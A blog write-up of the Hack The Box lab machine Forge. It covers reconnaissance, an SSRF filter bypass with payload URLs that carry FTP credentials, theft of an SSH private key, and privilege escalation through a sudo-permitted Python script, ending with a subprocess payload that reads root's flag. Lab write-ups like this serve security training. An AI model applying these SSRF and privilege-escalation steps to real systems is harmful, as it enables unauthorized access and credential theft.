As promised in my last HTB post, this one is a solution for a medium machine. Forge has been recently retired so let’s dive into it this box!


0x00 Recon

Our initial port scan shows your standard ports open on the host

# Nmap 7.80 scan initiated Tue Dec 14 11:47:49 2021 as: nmap -p21,22,80 -sV -sC -A -oN scan.nmap forge.htb
Nmap scan report for forge.htb (
Host is up (0.015s latency).

21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
1   15.05 ms
2   15.18 ms forge.htb (

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Dec 14 11:48:01 2021 -- 1 IP address (1 host up) scanned in 12.45 seconds

Checking for common subdomains revealed a hit as well – more attack surface for us to investigate!

gobuster vhost -m GET -u http://forge.htb -w ~/SecLists/Discovery/DNS/fierce-hostlist.txt|grep 200
Found: admin.forge.htb (Status: 200) [Size: 27] 

So we’ve got a filtered FTP port, SSH, and a webserver w/ 2 vhosts

  • forge.htb
  • admin.forge.htb

Main Website

Browsing through the main website at http://forge.htb the only interesting functionality is found at the /upload endpoint. Upon first glance, the “Upload from URL” feature screams SSRF to me.


After massaging this feature a bit, I realized the following domains were blacklisted:

  • localhost
  • forge.htb

I ended up writing my own redirector in Python here:


Now I could send http://MY_VPN_IP:8000/ as the URL to upload from, which would then redirect the server to admin.forge.htb, allowing me to skip having to type the domain in at all. NOTE: I shortly figured out after the fact that capitalizing certain parts of the domain also bypasses the blacklist…🤪

Doesn’t matter, got to exercise some scripting skills and it worked anyway. It revealed an /announcements endpoint that when accessed gave us some creds:

    <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
    <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
    <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>

Creds: user:heightofsecurity123!

Remember that filtered FTP port? I bet you could hit it if you were coming from the internal IP space 😉

Putting the whole thing together we end up with the following as our payload:

http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/

Supplying that string as a URL to upload from returns the following directory listing:

drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Dec 14 16:46 user.txt

User Flag


http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/user.txt

Flag: d5c010ce8b1f89376004ad8a1445017b

0x01 Foothold

Trying to access the SSH port lets us know it’s publickey auth only, which tells me I can use the read primitive from earlier to grab a SSH key! Checking for the standard ~/.ssh/id_rsa path returns a hit :)


Pull it down, chmod 600 and log in w/ ssh -i user_key [email protected].

Last login: Fri Aug 20 01:32:18 2021 from
[email protected]:~$ 

0x02 Root

Now that we have a proper foothold/shell, we can now do some more enumeration on the host. A favorite enumeration command of mine is listing the allowed (and forbidden) commands for the invoking user. We can do that with sudo -l.

Running it on this host reveals we can invoke a certain python script via sudo without needed a password – sounds like priv esc to me! 😄

Output of sudo -l

User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/

remote-manage After reading the source of the python script and consulting the pydocs, the bug is clear and we need to crash the script so we can drop into our interactive shell. Once doing so, the interactive shell spawns as root, and reading the flag is trivial from here

Root Flag

Payload: subprocess.check_output(["cat", "/root/root.txt"])

Flag: fcbe2fffd69ef9200c74169a52f74d45